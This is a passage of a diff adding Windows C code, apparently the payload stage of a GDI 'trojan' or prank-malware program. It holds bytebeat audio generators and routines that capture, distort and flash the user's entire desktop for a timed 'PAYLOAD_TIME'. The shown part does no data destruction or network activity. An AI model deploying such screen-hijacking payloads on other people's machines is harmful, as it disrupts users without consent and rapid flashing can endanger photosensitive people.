UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 171 |
+
|
| 172 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 173 |
+
{
|
| 174 |
+
INT nFreq = (INT)(FastSine((FLOAT)t / (2.f - t / (nSampleCount / 340))) * 10.f + 50.f);
|
| 175 |
+
psSamples[t] = (SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .1f);
|
| 176 |
+
}
|
| 177 |
+
}
|
| 178 |
+
|
| 179 |
+
VOID
|
| 180 |
+
WINAPI
|
| 181 |
+
AudioSequence5(
|
| 182 |
+
_In_ INT nSamplesPerSec,
|
| 183 |
+
_In_ INT nSampleCount,
|
| 184 |
+
_Inout_ PSHORT psSamples
|
| 185 |
+
)
|
| 186 |
+
{
|
| 187 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 188 |
+
|
| 189 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 190 |
+
{
|
| 191 |
+
SHORT sFreq = (SHORT)(t * (t >> (t >> 1 & t)));
|
| 192 |
+
psSamples[t] = sFreq;
|
| 193 |
+
}
|
| 194 |
+
}
|
| 195 |
+
|
| 196 |
+
VOID
|
| 197 |
+
WINAPI
|
| 198 |
+
AudioSequence6(
|
| 199 |
+
_In_ INT nSamplesPerSec,
|
| 200 |
+
_In_ INT nSampleCount,
|
| 201 |
+
_Inout_ PSHORT psSamples
|
| 202 |
+
)
|
| 203 |
+
{
|
| 204 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 205 |
+
|
| 206 |
+
for (INT t = 0; t < nSampleCount * 2; t++)
|
| 207 |
+
{
|
| 208 |
+
BYTE bFreq = (BYTE)((t & ((t >> 18) + ((t >> 11) & 60))) * 100 + (((t >> 8 & t) - (t >> 3 & t >> 8 | t >> 16)) & 128));
|
| 209 |
+
((BYTE*)psSamples)[t] = bFreq;
|
| 210 |
+
}
|
| 211 |
+
}
|
| 212 |
+
|
| 213 |
+
VOID
|
| 214 |
+
WINAPI
|
| 215 |
+
AudioSequence7(
|
| 216 |
+
_In_ INT nSamplesPerSec,
|
| 217 |
+
_In_ INT nSampleCount,
|
| 218 |
+
_Inout_ PSHORT psSamples
|
| 219 |
+
)
|
| 220 |
+
{
|
| 221 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 222 |
+
|
| 223 |
+
for (INT t = 0; t < nSampleCount * 2; t++)
|
| 224 |
+
{
|
| 225 |
+
BYTE bFreq = (BYTE)(t & 5 * t | t >> 6 | (t & 32768 - 6 * t / 7 | (t & 65536 - 9 * t & 100 | -9 * (t & 100)) / 11));
|
| 226 |
+
((BYTE*)psSamples)[t] = bFreq;
|
| 227 |
+
}
|
| 228 |
+
}
|
| 229 |
+
|
| 230 |
+
VOID
|
| 231 |
+
WINAPI
|
| 232 |
+
AudioSequence8(
|
| 233 |
+
_In_ INT nSamplesPerSec,
|
| 234 |
+
_In_ INT nSampleCount,
|
| 235 |
+
_Inout_ PSHORT psSamples
|
| 236 |
+
)
|
| 237 |
+
{
|
| 238 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 239 |
+
|
| 240 |
+
SHORT sRand = (SHORT)Xorshift32();
|
| 241 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 242 |
+
{
|
| 243 |
+
INT nRand = (nSampleCount - t * 2) / 52;
|
| 244 |
+
if (nRand < 24)
|
| 245 |
+
nRand = 24;
|
| 246 |
+
if (!(Xorshift32() % nRand))
|
| 247 |
+
{
|
| 248 |
+
sRand = (SHORT)Xorshift32();
|
| 249 |
+
}
|
| 250 |
+
psSamples[t] = (SHORT)(SawtoothWave(t, sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f)
|
| 251 |
+
& ~sRand | ((SHORT)Xorshift32() >> 2) +
|
| 252 |
+
(SHORT)(SineWave(Xorshift32() % nSampleCount, nRand ^ sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f) +
|
| 253 |
+
(SHORT)(TriangleWave(t, 20, nSampleCount) * (FLOAT)SHRT_MAX);
|
| 254 |
+
}
|
| 255 |
+
}
|
| 256 |
+
|
| 257 |
+
VOID
|
| 258 |
+
WINAPI
|
| 259 |
+
AudioSequence9(
|
| 260 |
+
_In_ INT nSamplesPerSec,
|
| 261 |
+
_In_ INT nSampleCount,
|
| 262 |
+
_Inout_ PSHORT psSamples
|
| 263 |
+
)
|
| 264 |
+
{
|
| 265 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 266 |
+
|
| 267 |
+
INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
|
| 268 |
+
for (INT y = 0; y < nSquareRoot; y++)
|
| 269 |
+
{
|
| 270 |
+
for (INT x = 0; x < nSquareRoot; x++)
|
| 271 |
+
{
|
| 272 |
+
INT nIndex = y * nSquareRoot + x;
|
| 273 |
+
if (nIndex >= nSampleCount)
|
| 274 |
+
continue;
|
| 275 |
+
|
| 276 |
+
INT nFreq = (INT)((FLOAT)(y | x) * FastSine((FLOAT)(y * x) / 10.f));
|
| 277 |
+
psSamples[nIndex] =
|
| 278 |
+
(SHORT)(SquareWave(10 & x, (nFreq % 30) + 42, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
|
| 279 |
+
}
|
| 280 |
+
}
|
| 281 |
+
}
|
| 282 |
+
|
| 283 |
+
VOID
|
| 284 |
+
WINAPI
|
| 285 |
+
AudioSequence10(
|
| 286 |
+
_In_ INT nSamplesPerSec,
|
| 287 |
+
_In_ INT nSampleCount,
|
| 288 |
+
_Inout_ PSHORT psSamples
|
| 289 |
+
)
|
| 290 |
+
{
|
| 291 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 292 |
+
|
| 293 |
+
for (INT t = 0; t < nSampleCount * 2; t++)
|
| 294 |
+
{
|
| 295 |
+
FLOAT w = powf(1.f, (FLOAT)(t >> 1 & t >> 20));
|
| 296 |
+
BYTE bFreq = (BYTE)((t << ((t >> 1 | t >> 1) ^ (t >> 13)) | (t >> 8 & t >> 1) * t >> 4) + ((t * (t >> 7 | t >> 10)) >> (t >> 18 & t)) + (t * t) / ((t ^ t >> 12) + 1) + ((1 / ((BYTE)w + 1) & t) > 1 ? (BYTE)w * t : -(BYTE)w * (t + 1)));
|
| 297 |
+
((BYTE*)psSamples)[t] = bFreq;
|
| 298 |
+
}
|
| 299 |
+
}
|
| 300 |
+
|
| 301 |
+
VOID
|
| 302 |
+
WINAPI
|
| 303 |
+
AudioSequence11(
|
| 304 |
+
_In_ INT nSamplesPerSec,
|
| 305 |
+
_In_ INT nSampleCount,
|
| 306 |
+
_Inout_ PSHORT psSamples
|
| 307 |
+
)
|
| 308 |
+
{
|
| 309 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 310 |
+
|
| 311 |
+
for (INT t = 0; t < nSampleCount * 2; t++)
|
| 312 |
+
{
|
| 313 |
+
BYTE bFreq = (BYTE)((t * ((t >> 28 & t >> 13) >> (t >> 10 & t))) + ((t * (t >> 4 & t >> 3)) >> (t >> 20 & t)));
|
| 314 |
+
((BYTE*)psSamples)[t] = bFreq;
|
| 315 |
+
}
|
| 316 |
+
}
|
| 317 |
+
|
| 318 |
+
VOID
|
| 319 |
+
WINAPI
|
| 320 |
+
AudioSequence12(
|
| 321 |
+
_In_ INT nSamplesPerSec,
|
| 322 |
+
_In_ INT nSampleCount,
|
| 323 |
+
_Inout_ PSHORT psSamples
|
| 324 |
+
)
|
| 325 |
+
{
|
| 326 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 327 |
+
|
| 328 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 329 |
+
{
|
| 330 |
+
psSamples[t] = (SHORT)(TriangleWave(__rdtsc() % 8, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) |
|
| 331 |
+
(SHORT)(SquareWave(__rdtsc() % 8, 1000, nSampleCount) * (FLOAT)SHRT_MAX * .3f) + (SHORT)~t + ((SHORT)t >> 2);
|
| 332 |
+
}
|
| 333 |
+
}
|
| 334 |
+
|
| 335 |
+
VOID
|
| 336 |
+
WINAPI
|
| 337 |
+
AudioSequence13(
|
| 338 |
+
_In_ INT nSamplesPerSec,
|
| 339 |
+
_In_ INT nSampleCount,
|
| 340 |
+
_Inout_ PSHORT psSamples
|
| 341 |
+
)
|
| 342 |
+
{
|
| 343 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 344 |
+
|
| 345 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 346 |
+
{
|
| 347 |
+
psSamples[t] = (SHORT)(SawtoothWave(__rdtsc() % 1500, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) ^
|
| 348 |
+
((SHORT)(SawtoothWave(t % 10, t % 1000, nSampleCount) * (FLOAT)SHRT_MAX * .1f) >> 8);
|
| 349 |
+
}
|
| 350 |
+
}
|
| 351 |
+
|
| 352 |
+
VOID
|
| 353 |
+
WINAPI
|
| 354 |
+
AudioSequence14(
|
| 355 |
+
_In_ INT nSamplesPerSec,
|
| 356 |
+
_In_ INT nSampleCount,
|
| 357 |
+
_Inout_ PSHORT psSamples
|
| 358 |
+
)
|
| 359 |
+
{
|
| 360 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 361 |
+
|
| 362 |
+
INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
|
| 363 |
+
for (INT y = 0; y < nSquareRoot; y++)
|
| 364 |
+
{
|
| 365 |
+
for (INT x = 0; x < nSquareRoot; x++)
|
| 366 |
+
{
|
| 367 |
+
INT nIndex = y * nSquareRoot + x;
|
| 368 |
+
if (nIndex >= nSampleCount)
|
| 369 |
+
continue;
|
| 370 |
+
|
| 371 |
+
INT nFreq = (INT)((FLOAT)(y | x) * FastCosine((FLOAT)(y & x) / 10.f));
|
| 372 |
+
psSamples[nIndex] = (SHORT)(SineWave(y + x, (nFreq % 100) + 1000, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
|
| 373 |
+
}
|
| 374 |
+
}
|
| 375 |
+
}
|
| 376 |
+
|
| 377 |
+
VOID
|
| 378 |
+
WINAPI
|
| 379 |
+
AudioSequence15(
|
| 380 |
+
_In_ INT nSamplesPerSec,
|
| 381 |
+
_In_ INT nSampleCount,
|
| 382 |
+
_Inout_ PSHORT psSamples
|
| 383 |
+
)
|
| 384 |
+
{
|
| 385 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 386 |
+
|
| 387 |
+
INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
|
| 388 |
+
for (INT y = 0; y < nSquareRoot; y++)
|
| 389 |
+
{
|
| 390 |
+
for (INT x = 0; x < nSquareRoot; x++)
|
| 391 |
+
{
|
| 392 |
+
INT nIndex = y * nSquareRoot + x;
|
| 393 |
+
if (nIndex >= nSampleCount)
|
| 394 |
+
continue;
|
| 395 |
+
|
| 396 |
+
INT nFreq = (INT)((FLOAT)(y - x) * FastCosine((FLOAT)(y * x) / 10.f));
|
| 397 |
+
psSamples[nIndex] = (SHORT)(SineWave(y % (x + 1), (nFreq % 100) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
|
| 398 |
+
}
|
| 399 |
+
}
|
| 400 |
+
}
|
| 401 |
+
|
| 402 |
+
VOID
|
| 403 |
+
WINAPI
|
| 404 |
+
AudioSequence16(
|
| 405 |
+
_In_ INT nSamplesPerSec,
|
| 406 |
+
_In_ INT nSampleCount,
|
| 407 |
+
_Inout_ PSHORT psSamples
|
| 408 |
+
)
|
| 409 |
+
{
|
| 410 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 411 |
+
|
| 412 |
+
INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
|
| 413 |
+
for (INT y = 0; y < nSquareRoot; y++)
|
| 414 |
+
{
|
| 415 |
+
for (INT x = 0; x < nSquareRoot; x++)
|
| 416 |
+
{
|
| 417 |
+
INT nIndex = y * nSquareRoot + x;
|
| 418 |
+
if (nIndex >= nSampleCount)
|
| 419 |
+
continue;
|
| 420 |
+
|
| 421 |
+
INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
|
| 422 |
+
psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 100) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
|
| 423 |
+
}
|
| 424 |
+
}
|
| 425 |
+
}
|
| 426 |
+
|
| 427 |
+
VOID
|
| 428 |
+
WINAPI
|
| 429 |
+
AudioSequence17(
|
| 430 |
+
_In_ INT nSamplesPerSec,
|
| 431 |
+
_In_ INT nSampleCount,
|
| 432 |
+
_Inout_ PSHORT psSamples
|
| 433 |
+
)
|
| 434 |
+
{
|
| 435 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 436 |
+
{
|
| 437 |
+
INT nFreq = (INT)(FastSine((FLOAT)t / 20.f) * 100.f + 50.f);
|
| 438 |
+
FLOAT fSine = FastSine((FLOAT)t / 13.f) * (FLOAT)nSamplesPerSec;
|
| 439 |
+
psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 9.f + fSine) * (FLOAT)SHRT_MAX * .50f) +
|
| 440 |
+
(SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .10f);
|
| 441 |
+
}
|
| 442 |
+
}
|
| 443 |
+
|
| 444 |
+
|
| 445 |
+
VOID
|
| 446 |
+
WINAPI
|
| 447 |
+
AudioSequence18(
|
| 448 |
+
_In_ INT nSamplesPerSec,
|
| 449 |
+
_In_ INT nSampleCount,
|
| 450 |
+
_Inout_ PSHORT psSamples
|
| 451 |
+
)
|
| 452 |
+
{
|
| 453 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 454 |
+
|
| 455 |
+
INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
|
| 456 |
+
for (INT y = 0; y < nSquareRoot; y++)
|
| 457 |
+
{
|
| 458 |
+
for (INT x = 0; x < nSquareRoot; x++)
|
| 459 |
+
{
|
| 460 |
+
INT nIndex = y * nSquareRoot + x;
|
| 461 |
+
if (nIndex >= nSampleCount)
|
| 462 |
+
continue;
|
| 463 |
+
|
| 464 |
+
INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
|
| 465 |
+
psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 10) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .6f);
|
| 466 |
+
}
|
| 467 |
+
}
|
| 468 |
+
}
|
| 469 |
+
|
| 470 |
+
VOID
|
| 471 |
+
WINAPI
|
| 472 |
+
FinalAudioSequence(
|
| 473 |
+
_In_ INT nSamplesPerSec,
|
| 474 |
+
_In_ INT nSampleCount,
|
| 475 |
+
_Inout_ PSHORT psSamples
|
| 476 |
+
)
|
| 477 |
+
{
|
| 478 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 479 |
+
|
| 480 |
+
INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
|
| 481 |
+
for (INT z = 0; z < nCubeRoot; z++)
|
| 482 |
+
{
|
| 483 |
+
for (INT y = 0; y < nCubeRoot; y++)
|
| 484 |
+
{
|
| 485 |
+
for (INT x = 0; x < nCubeRoot; x++)
|
| 486 |
+
{
|
| 487 |
+
INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
|
| 488 |
+
if (nIndex >= nSampleCount)
|
| 489 |
+
continue;
|
| 490 |
+
|
| 491 |
+
INT nFreq = (INT)((FLOAT)(y & x) * sinf((FLOAT)z / (FLOAT)nCubeRoot + (FLOAT)x + (FLOAT)nCounter * (FLOAT)y) * 2.f);
|
| 492 |
+
psSamples[nIndex] = (SHORT)(SquareWave(nIndex, nFreq, nSamplesPerSec) * (FLOAT)(SHRT_MAX) * .3f);
|
| 493 |
+
}
|
| 494 |
+
}
|
| 495 |
+
}
|
| 496 |
+
}
|
| 497 |
+
|
| 498 |
+
VOID
|
| 499 |
+
WINAPI
|
| 500 |
+
GdiShaderThread(
|
| 501 |
+
_In_ PGDISHADER_PARAMS pGdiShaderParams
|
| 502 |
+
)
|
| 503 |
+
{
|
| 504 |
+
if (pGdiShaderParams->pGdiShader == GdiShader3)
|
| 505 |
+
{
|
| 506 |
+
nShaderThreeSeed = Xorshift32();
|
| 507 |
+
}
|
| 508 |
+
|
| 509 |
+
ExecuteGdiShader(hdcDesktop, rcScrBounds, PAYLOAD_TIME, 5, pGdiShaderParams->pGdiShader,
|
| 510 |
+
pGdiShaderParams->pPreGdiShader, pGdiShaderParams->pPostGdiShader);
|
| 511 |
+
}
|
| 512 |
+
|
| 513 |
+
VOID
|
| 514 |
+
WINAPI
|
| 515 |
+
ExecuteGdiShader(
|
| 516 |
+
_In_ HDC hdcDst,
|
| 517 |
+
_In_ RECT rcBounds,
|
| 518 |
+
_In_ INT nTime,
|
| 519 |
+
_In_ INT nDelay,
|
| 520 |
+
_In_ GDI_SHADER pGdiShader,
|
| 521 |
+
_In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
|
| 522 |
+
_In_opt_ GDI_SHADER_OPERATION pPostGdiShader
|
| 523 |
+
)
|
| 524 |
+
{
|
| 525 |
+
BITMAPINFO bmi = { 0 };
|
| 526 |
+
PRGBQUAD prgbSrc, prgbDst;
|
| 527 |
+
HANDLE hHeap;
|
| 528 |
+
HDC hdcTemp;
|
| 529 |
+
HBITMAP hbmTemp;
|
| 530 |
+
SIZE_T nSize;
|
| 531 |
+
INT nWidth;
|
| 532 |
+
INT nHeight;
|
| 533 |
+
|
| 534 |
+
nWidth = rcBounds.right - rcBounds.left;
|
| 535 |
+
nHeight = rcBounds.bottom - rcBounds.top;
|
| 536 |
+
nSize = nWidth * nHeight * sizeof(COLORREF);
|
| 537 |
+
|
| 538 |
+
bmi.bmiHeader.biSize = sizeof(BITMAPINFO);
|
| 539 |
+
bmi.bmiHeader.biBitCount = 32;
|
| 540 |
+
bmi.bmiHeader.biPlanes = 1;
|
| 541 |
+
bmi.bmiHeader.biWidth = nWidth;
|
| 542 |
+
bmi.bmiHeader.biHeight = nHeight;
|
| 543 |
+
|
| 544 |
+
hHeap = GetProcessHeap();
|
| 545 |
+
prgbSrc = (PRGBQUAD)HeapAlloc(hHeap, 0, nSize);
|
| 546 |
+
|
| 547 |
+
hdcTemp = CreateCompatibleDC(hdcDst);
|
| 548 |
+
hbmTemp = CreateDIBSection(hdcDst, &bmi, 0, &prgbDst, NULL, 0);
|
| 549 |
+
SelectObject(hdcTemp, hbmTemp);
|
| 550 |
+
|
| 551 |
+
for (INT i = 0, j = nCounter; (j + nTime) > nCounter; i++)
|
| 552 |
+
{
|
| 553 |
+
if (pPreGdiShader == NULL)
|
| 554 |
+
{
|
| 555 |
+
BitBlt(hdcTemp, 0, 0, nWidth, nHeight, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
|
| 556 |
+
}
|
| 557 |
+
else
|
| 558 |
+
{
|
| 559 |
+
pPreGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
|
| 560 |
+
}
|
| 561 |
+
|
| 562 |
+
RtlCopyMemory(prgbSrc, prgbDst, nSize);
|
| 563 |
+
|
| 564 |
+
pGdiShader(i, nWidth, nHeight, hdcDst, hbmTemp, prgbSrc, prgbDst);
|
| 565 |
+
|
| 566 |
+
if (pPostGdiShader == NULL)
|
| 567 |
+
{
|
| 568 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, nWidth, nHeight, hdcTemp, 0, 0, SRCCOPY);
|
| 569 |
+
}
|
| 570 |
+
else
|
| 571 |
+
{
|
| 572 |
+
pPostGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
|
| 573 |
+
}
|
| 574 |
+
|
| 575 |
+
if (nDelay)
|
| 576 |
+
{
|
| 577 |
+
Sleep(nDelay);
|
| 578 |
+
}
|
| 579 |
+
}
|
| 580 |
+
|
| 581 |
+
HeapFree(hHeap, 0, prgbSrc);
|
| 582 |
+
DeleteObject(hbmTemp);
|
| 583 |
+
DeleteDC(hdcTemp);
|
| 584 |
+
}
|
| 585 |
+
|
| 586 |
+
VOID
|
| 587 |
+
WINAPI
|
| 588 |
+
GdiShader1(
|
| 589 |
+
_In_ INT t,
|
| 590 |
+
_In_ INT w,
|
| 591 |
+
_In_ INT h,
|
| 592 |
+
_In_ HDC hdcTemp,
|
| 593 |
+
_In_ HBITMAP hbmTemp,
|
| 594 |
+
_In_ PRGBQUAD prgbSrc,
|
| 595 |
+
_Inout_ PRGBQUAD prgbDst
|
| 596 |
+
)
|
| 597 |
+
{
|
| 598 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 599 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 600 |
+
|
| 601 |
+
UINT u;
|
| 602 |
+
UINT v;
|
| 603 |
+
FLOAT div = (FLOAT)t / 1.f;
|
| 604 |
+
FLOAT a = FastSine(div) * 10.f;
|
| 605 |
+
FLOAT b = FastCosine(div) * 5.f;
|
| 606 |
+
RGBQUAD rgbDst;
|
| 607 |
+
|
| 608 |
+
for (INT y = 0; y < h; y++)
|
| 609 |
+
{
|
| 610 |
+
for (INT x = 0; x < w; x++)
|
| 611 |
+
{
|
| 612 |
+
u = x + (INT)a, v = y + (INT)b;
|
| 613 |
+
u %= w;
|
| 614 |
+
v %= h;
|
| 615 |
+
|
| 616 |
+
rgbDst = prgbSrc[v * w + u];
|
| 617 |
+
rgbDst.r += ~prgbSrc[y * w + x].r / 82;
|
| 618 |
+
rgbDst.g += ~prgbSrc[y * w + x].g / 12;
|
| 619 |
+
rgbDst.b += ~prgbSrc[y * w + x].b / 22;
|
| 620 |
+
prgbDst[y * w + x] = rgbDst;
|
| 621 |
+
}
|
| 622 |
+
}
|
| 623 |
+
}
|
| 624 |
+
|
| 625 |
+
VOID
|
| 626 |
+
WINAPI
|
| 627 |
+
PostGdiShader1(
|
| 628 |
+
_In_ INT t,
|
| 629 |
+
_In_ INT w,
|
| 630 |
+
_In_ INT h,
|
| 631 |
+
_In_ RECT rcBounds,
|
| 632 |
+
_In_ HDC hdcDst,
|
| 633 |
+
_In_ HDC hdcTemp
|
| 634 |
+
)
|
| 635 |
+
{
|
| 636 |
+
if (!(t % 256))
|
| 637 |
+
{
|
| 638 |
+
RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
| 639 |
+
}
|
| 640 |
+
else
|
| 641 |
+
{
|
| 642 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
|
| 643 |
+
}
|
| 644 |
+
}
|
| 645 |
+
|
| 646 |
+
VOID
|
| 647 |
+
WINAPI
|
| 648 |
+
GdiShader2(
|
| 649 |
+
_In_ INT t,
|
| 650 |
+
_In_ INT w,
|
| 651 |
+
_In_ INT h,
|
| 652 |
+
_In_ HDC hdcTemp,
|
| 653 |
+
_In_ HBITMAP hbmTemp,
|
| 654 |
+
_In_ PRGBQUAD prgbSrc,
|
| 655 |
+
_Inout_ PRGBQUAD prgbDst
|
| 656 |
+
)
|
| 657 |
+
{
|
| 658 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 659 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 660 |
+
|
| 661 |
+
UINT u;
|
| 662 |
+
UINT v;
|
| 663 |
+
RGBQUAD rgbDst;
|
| 664 |
+
|
| 665 |
+
for (INT y = 0; y < h; y++)
|
| 666 |
+
{
|
| 667 |
+
FLOAT _y = (FLOAT)y / 40.f;
|
| 668 |
+
|
| 669 |
+
for (INT x = 0; x < w; x++)
|
| 670 |
+
{
|
| 671 |
+
FLOAT div = (FLOAT)t / 2.f;
|
| 672 |
+
FLOAT a = FastSine(div + _y) * 50.f;
|
| 673 |
+
FLOAT b = FastCosine(div + (FLOAT)x / 10.f) * 80.f;
|
| 674 |
+
|
| 675 |
+
u = x + (INT)a, v = y + (INT)b;
|
| 676 |
+
u %= w;
|
| 677 |
+
v %= h;
|
| 678 |
+
|
| 679 |
+
rgbDst = prgbSrc[y * w + u];
|
| 680 |
+
|
| 681 |
+
DWORD rgb = prgbSrc[v * w + x].rgb / ((0x101010 | (t & y) | ((t & x) << 8) | (t << 26)) + 1);
|
| 682 |
+
if (!rgb)
|
| 683 |
+
{
|
| 684 |
+
rgb = 1;
|
| 685 |
+
}
|
| 686 |
+
|
| 687 |
+
rgbDst.rgb /= rgb;
|
| 688 |
+
if (!rgbDst.rgb)
|
| 689 |
+
{
|
| 690 |
+
rgbDst.rgb = 0xFFFFFF;
|
| 691 |
+
}
|
| 692 |
+
|
| 693 |
+
prgbDst[y * w + x] = rgbDst;
|
| 694 |
+
}
|
| 695 |
+
}
|
| 696 |
+
}
|
| 697 |
+
|
| 698 |
+
VOID
|
| 699 |
+
WINAPI
|
| 700 |
+
PostGdiShader2(
|
| 701 |
+
_In_ INT t,
|
| 702 |
+
_In_ INT w,
|
| 703 |
+
_In_ INT h,
|
| 704 |
+
_In_ RECT rcBounds,
|
| 705 |
+
_In_ HDC hdcDst,
|
| 706 |
+
_In_ HDC hdcTemp
|
| 707 |
+
)
|
| 708 |
+
{
|
| 709 |
+
if (!(t % 16))
|
| 710 |
+
{
|
| 711 |
+
RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
| 712 |
+
}
|
| 713 |
+
else
|
| 714 |
+
{
|
| 715 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
|
| 716 |
+
}
|
| 717 |
+
}
|
| 718 |
+
|
| 719 |
+
VOID
|
| 720 |
+
WINAPI
|
| 721 |
+
GdiShader3(
|
| 722 |
+
_In_ INT t,
|
| 723 |
+
_In_ INT w,
|
| 724 |
+
_In_ INT h,
|
| 725 |
+
_In_ HDC hdcTemp,
|
| 726 |
+
_In_ HBITMAP hbmTemp,
|
| 727 |
+
_In_ PRGBQUAD prgbSrc,
|
| 728 |
+
_Inout_ PRGBQUAD prgbDst
|
| 729 |
+
)
|
| 730 |
+
{
|
| 731 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 732 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 733 |
+
|
| 734 |
+
UINT u;
|
| 735 |
+
UINT v;
|
| 736 |
+
RGBQUAD rgbDst;
|
| 737 |
+
HSLCOLOR hsl;
|
| 738 |
+
FLOAT _t = (FLOAT)t / 15.f;
|
| 739 |
+
|
| 740 |
+
for (INT y = 0; y < h; y++)
|
| 741 |
+
{
|
| 742 |
+
FLOAT _y = (FLOAT)y / 45.f;
|
| 743 |
+
|
| 744 |
+
for (INT x = 0; x < w; x++)
|
| 745 |
+
{
|
| 746 |
+
FLOAT a = FastCosine(_y + _t) * 36.f;
|
| 747 |
+
|
| 748 |
+
u = x + (INT)a, v = y;
|
| 749 |
+
u %= w;
|
| 750 |
+
v %= h;
|
| 751 |
+
|
| 752 |
+
rgbDst = prgbSrc[v * w + u];
|
| 753 |
+
FLOAT f = 1.f / 2.f;
|
| 754 |
+
FLOAT r = (FLOAT)prgbSrc[y * w + x].r * f + (FLOAT)rgbDst.r * (1.f - f);
|
| 755 |
+
FLOAT g = (FLOAT)prgbSrc[y * w + x].g * f + (FLOAT)rgbDst.g * (1.f - f);
|
| 756 |
+
FLOAT b = (FLOAT)prgbSrc[y * w + x].b * f + (FLOAT)rgbDst.b * (1.f - f);
|
| 757 |
+
|
| 758 |
+
rgbDst.rgb = ((BYTE)b | ((BYTE)g << 8) | ((BYTE)r << 11));
|
| 759 |
+
hsl = RGBToHSL(rgbDst);
|
| 760 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 15.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 34.f), 1.0);
|
| 761 |
+
prgbDst[y * w + x] = HSLToRGB(hsl);
|
| 762 |
+
}
|
| 763 |
+
}
|
| 764 |
+
}
|
| 765 |
+
|
| 766 |
+
VOID
|
| 767 |
+
WINAPI
|
| 768 |
+
PostGdiShader3(
|
| 769 |
+
_In_ INT t,
|
| 770 |
+
_In_ INT w,
|
| 771 |
+
_In_ INT h,
|
| 772 |
+
_In_ RECT rcBounds,
|
| 773 |
+
_In_ HDC hdcDst,
|
| 774 |
+
_In_ HDC hdcTemp
|
| 775 |
+
)
|
| 776 |
+
{
|
| 777 |
+
INT x, y;
|
| 778 |
+
HPEN hpenBall;
|
| 779 |
+
|
| 780 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
|
| 781 |
+
|
| 782 |
+
t += nShaderThreeSeed;
|
| 783 |
+
x = t * 16;
|
| 784 |
+
y = t * 16;
|
| 785 |
+
|
| 786 |
+
for (INT i = 64; i > 8; i -= 8)
|
| 787 |
+
{
|
| 788 |
+
hpenBall = CreatePen(PS_SOLID, 2, rand() % 0xFFFFFF);
|
| 789 |
+
|
| 790 |
+
SelectObject(hdcDst, hpenBall);
|
| 791 |
+
Reflect2D(&x, &y, w, h);
|
| 792 |
+
Ellipse(hdcDst, x + rcBounds.left - i, y + rcBounds.top - i, x + rcBounds.left + i, y + rcBounds.top + i);
|
| 793 |
+
DeleteObject(hpenBall);
|
| 794 |
+
}
|
| 795 |
+
}
|
| 796 |
+
|
| 797 |
+
VOID
|
